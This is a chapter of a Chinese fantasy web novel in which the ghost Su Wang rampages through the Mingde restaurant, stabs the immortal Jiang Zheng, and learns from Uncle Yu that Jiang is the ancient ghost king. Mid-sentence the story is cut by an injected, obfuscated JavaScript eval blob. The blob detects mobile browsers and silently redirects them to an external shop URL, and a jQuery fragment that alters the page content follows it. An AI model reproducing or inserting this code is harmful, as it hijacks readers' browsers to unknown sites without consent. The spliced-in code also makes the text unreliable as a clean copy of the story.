姜正神色异常,苏往越发癫狂,兴奋地继续对明德酒楼实施暴行,挑衅地走到他身边,一个响指,琉璃球在空中炸成一串,劈里啪啦砸在二人中间,她根本没发现,正常来说,姜正作为普通人,怎么会看见她,并且能和她对话。
这十多年好似有一把铁链死死锁住苏往的身体,致死的匕首不只捅穿心脏,连同那根铁链同时被砍断,整个人,不对准确来说是整个鬼,由内而外格外舒服,身心被彻底解放一般肆意。
她沉浸在疯狂破坏的环境里,不管物品是被碾成粉末还是被撕烂成片,都能让她感受到愉悦,没错,破坏产生愉悦。
苏往转了一圈,情不自禁地打量自己,惊奇得像个刚发现自己有尾巴的小动物,不停自言自语反问自己:“我是死了对吧,死了居然有这么快乐!早说就早点死了啊!”
她一转身,看见站在原地的姜正,他表情十分诡异,有点不敢相信,有点恐惧还有点.....懵逼?
苏往冷冷瞥一眼,被他审视地感觉很不舒服,走上去抬手来一巴掌,落下地响声,她突然反应过来,自己是鬼啊,是怎么扇到他的?
姜正侧着脸,被扇的双目清明,他单手抓住云雾形态的鬼,苏往不耐烦地反手甩开,啧了一声,拿起前台桌上的花瓶,对着他的头砸下,没想到对面的人没躲,花瓶在他头上炸开,苏往惊讶地‘啊?’一声,发现自己能抓住实物,低头原本飘着的形态居然落地了!
“哎呀!”角落里传来老人惊叹声。
苏往一个眼刀勾勾手,玉叔被一股风连拖带拽地拉出来,磕磕绊绊站在二人面前,他眼神中全是对酒楼的心疼,以及对苏往行为的诧异,连忙拿出手帕擦拭姜正额头的血迹。
没想到,头发撩起来时,原本血肉模糊的伤口,在慢慢愈合。
姜正,秘密真多啊?以前怎么没发现?
苏往瞥一眼前厅唯一没有坏的靠椅,一个眨眼瞬间移动到身边,她抱着胳膊坐在椅子上,翘起二郎腿,嘴角挂着意味不明地笑意,俨然一副兴师问罪的模样,“解释吧,各位,不说清楚的话.....”她越发嚣张,“我就砸了这十八层酒楼,咱们一起去投胎?”
玉叔见状,出言维护姜正,用一种长辈的语气指责道:“苏小姐,瀛洲这些年对你还不够好吗?”
“啧。”苏往无语地换个姿势,“你是人老耳聋了吗?还是老年痴呆?”她右手撑头,左手指尖点点椅子扶手,妖冶的脸上一双漆黑的瞳,阴森诡异,“三秒不说话,我把你们头拧断?”
姜正示意玉叔一个眼神。
玉叔叹口气,说句“造孽”转身离开了。
“3,2.....”
“为什么?你为什么会变成人鬼?”姜正终于开口,往日沉静的脸上,表情十分精彩,苏往非常喜欢他此刻的神情,和以前完全不一样,她喜欢这种特殊。
她点点头,看上去很满意这个答案,“继续。”
姜正注意到前台的剪刀,迅速拿起,大步跨到苏往面前,手指在空中控制剪刀劈开,用尖刃一面朝着她的胳膊划开一道血口。
苏往感受到疼痛的瞬间,火冒三丈戾气飙升,地上无数残骸飘到空中朝着姜正飞去,她反手又一巴掌,夺走他手里的剪刀,掐着他的脖子摁在地上,动作迅速凶猛,像一只野兽跨坐在他身上,用尖端抵在姜正的脖子处,恨得咬着后槽牙,“你信不信我给你这副皮囊捅漏气?!”
姜正全程没有反抗,只是拍打她的胳膊,示意她注意刚刚的伤口。
苏往低下头,伤口愈合了?痛感也没有了?
不对,她都死了?哪来的痛感?哪来的血?
苏往大脑宕机了,又不对,她死了,哪来的大脑?
她垂下眼睛,迷茫地盯着伤口,“人鬼?是什么意思?我不是死了吗?”
姜正慢慢握住她的手,语气淡淡地解释:“死亡的人,长生的鬼。”他目光带着怜惜和后悔,语气哽咽地问:“苏往,可以告诉我,这三天你经历了什么吗?”
苏往逐渐平静下来,回想这几天全是空白,最后的记忆停留在白裙子女人给她玉镯的时间,女人好像在耳边说了什么,全不记得,她出神地看着手腕青色透亮的玉镯。
姜正也顺着她的视线看去,注意到熟悉的镯子,“她为什么会给你换命?为什么?她给你说了什么?”
苏往摇头,恍惚间好像看到一只蝴蝶,蓝色的,很漂亮,在她眼前飞啊飞啊,最后落在姜正心脏的位置,她被蝴蝶吸引了,能看清它飞动的每一下翅膀,看清翅膀上的纹路,看清它旋转的身体......
她慢慢移动手中的剪刀,自言自语道:“你伤口好像也能愈合呢?会痛吗?”
姜正太过执着她的诉说经历,没有注意对方眼底浮现的杀意,一味问道:“苏往,你告诉我好不好,你是不是见到.....呃啊!”
他话还没说完,苏往手里的剪刀垂直扎进蝴蝶停留的位置,正是姜正的心脏。
血迹比蝴蝶翅膀的花纹还要绚丽,苏往没来得及欣赏,突然一股巨大地力量从身下姜正身体里爆发,她生生被弹了出去,撞到玻璃,跌坐在满地的碎渣中。
再抬头,姜正从地上爬起来,浑身的血窟窿,伤口边缘整齐得诡异,血液正顺着那些洞口往外涌,浸透了整身衣衫,顺着衣角往下滴,洇开无数小片暗红。
骤然地面震动,金色的链子破土而出,发出密集而清脆的碰撞声,在空中划出一道道凌厉的弧线。
链条在半空中翻涌,缠绕盘旋,发出金属摩擦的尖利声响。它们在姜正身边形成了一个密不透风的包围圈,像是无数条金色的蟒蛇锁成一座即将合拢的牢笼,姜正被困在正中间,金色的光影闪烁在脸上,他浑身浴血的身影既狼狈又有几分特殊的神性。
链条上凭空生出血字黄底的符咒,破旧又残败,在空中摇曳着,像无数风雨侵蚀的经幡,遗址中出土的裹尸布,空气中弥漫着铁锈尘土味道,有股陈旧纸张的腐烂气息。
“姜正?”苏往震惊地看着他,眼前男人的痛苦太过显露,她那股暴戾怨恨的情绪消失殆尽,所有恶狠狠地威胁被堵下喉咙。
不是在生气愤怒吗?
不是在破坏中感受愉悦吗?
她站在原地,看着男人跪在地上,吐出大口大口的鲜血,无数金链囚身,竟然有冲上去拥抱他的想法,他看上去太难受太疼了,苏往惊觉自己虽然对他存在着没有发泄出来的怒火,却更见不得他这样挣扎.....
此刻,她眼前闪过教室里过往交谈的画面,姜正鼓励她安抚她支持她时笑盈盈的脸,大学期间空降的惊喜和拯救,她是真的喜欢啊,真的依赖啊,真的将其视为人生的支点,哪怕她无法准确表达情绪,但是她从未对任何人有对姜正有那般复杂到无法宣之于口的情绪。
苏往顾不上别的,冲上前。
姜正浑身都在发抖,虚得嘴唇发白,费力地扯出一个笑容,制止道:“别过来...我没事,你.....别怕.....”
又这样。又把她推出去。
为什么在她最靠近幸福的时候,告诉她,他一直在欺骗她?
为什么在她最后悔,最心疼他,想帮助他的时候,拒绝她?
苏往面无表情地后退。
眼前的人又真的是姜正吗?姜正的全部到底
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520381|202497||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是什么?
姜正扒出心口处的剪刀随手丢了出去,低着头,看不清表情,只听见他闷声喊道:“玉叔!带苏往去负一层!”
玉叔满是岁月痕迹的脸上全是愁容,“您自己可以吗?”
姜正双手撑着地,依旧没有抬头,“她问什么就说什么,人鬼的事情可以全说不用隐瞒,先不登记报备,等我二十分钟。”
苏往原本的愧疚心疼被埋怨代替,既然他不领情,她也懒得再舔上去,跟着玉叔转身离开,电梯门缓缓关上,身体又燥又郁,说不上的难受。
玉叔注意后,哪怕对她颇有微词,也会保持服务员的专业,冷着脸从口袋拿出一张福包,解释:“三魂七魄,你肉身已死导致七魄残,平衡被打破,情绪会被无限放大容易失控,它有压制的作用,可以贴在致命伤的位置。”
苏往瞪一眼表示拒绝,压制什么?失控就失控呗,这又不是她的酒店,姜正不是很有钱?自己花钱修呗。以为她跟着来就是乖乖听姜正的话吗?她不过是看玉叔能解答她现在的疑惑,并且想搞清楚自己究竟变成什么怪物,别的一概不管不听。
玉叔无力地收起福包。
一声铃铛响,电梯门开,足足四层楼高的大厅,正中心立着一尊飞天神女雕塑,脚边跪着几只四角兽,大象的体型,狮子的毛发,豹子的脸,正围着神女缓缓移动,如同是守护者。穹顶高处挂着一盏水晶灯,里面燃着巨大的烛火,光芒倾泻而下照耀着神女雕塑,苏往注意到,神女抬起的手腕处也带着玉镯。
玉叔:“人有三魂,死后若执念太深则无法轮回转世,怨气与残魂凝结,故而化为“鬼”。明德年间,将军成为不人不鬼的长生者,建立明德酒楼,楼上十八层接待人,楼下十八层度化鬼,明德酒楼成为链接人与鬼的三无地带,接纳所有没有路引的鬼,也就是无路鬼,明面上我们称之为无路客。”
“将军?长生?”苏往反问:“就是姜正?”
玉叔颔首,“没错,但姜正不是老板真名,他本名姜瀛洲。”
苏往心口那股燥郁越发控制不住。
所以说,她相处这么多年的姜正都是假的,名字是假的,身份是假的,一切的一切都是假的,不过是长生者几年的游戏时光?
怪不得他这么热心乐于助人,可以无微不至的照顾,毕竟这些耗费时间心力的事情,对他来说不过弹指一挥间,打发时光而已。
大厅两侧立着盘龙柱,龙纹缠绕向上,龙首口中是冒着白光的长明灯,两根柱子之间是办事窗口,窗口上悬挂着巨大的匾额,“往生登记”“因果核销”“轮回通道”.....每个窗口前排着队伍。
苏往朝着深处走去,两侧队伍站着的不是人,有身形残缺,有年迈佝偻,有面目模糊,也有浑身湿哒哒流着水.....
大厅尽头,那面巨大的由无数碎片拼成的墙面上,是一副由光影组成的人影古画,身穿铠甲站立着,画中人的面目模糊而庄严,目光从高处俯冲下来,慈悲没有温度,脚下朝拜着无数鬼魂的影子,有的磕头,有的双手合十。
苏往仰着头,出神地看着画作,喃喃自语中有几分悲凉,“姜瀛洲?活了几千年的姜瀛洲?”
玉叔认真回答:“没错,明德鬼王姜瀛洲。”
苏往没忍住苦笑出声,“那我呢?我是什么东西??”
玉叔:“说实话,目前看来你和老板情况一致,□□虽在但七魄已死,死后成为人鬼,拥有不死之身,成为这世界上第二位长生鬼。”
“第二个?”苏往站在古画下,转身回望身后无数只孤魂野鬼,“那我岂不是新的鬼王?”
玉叔:......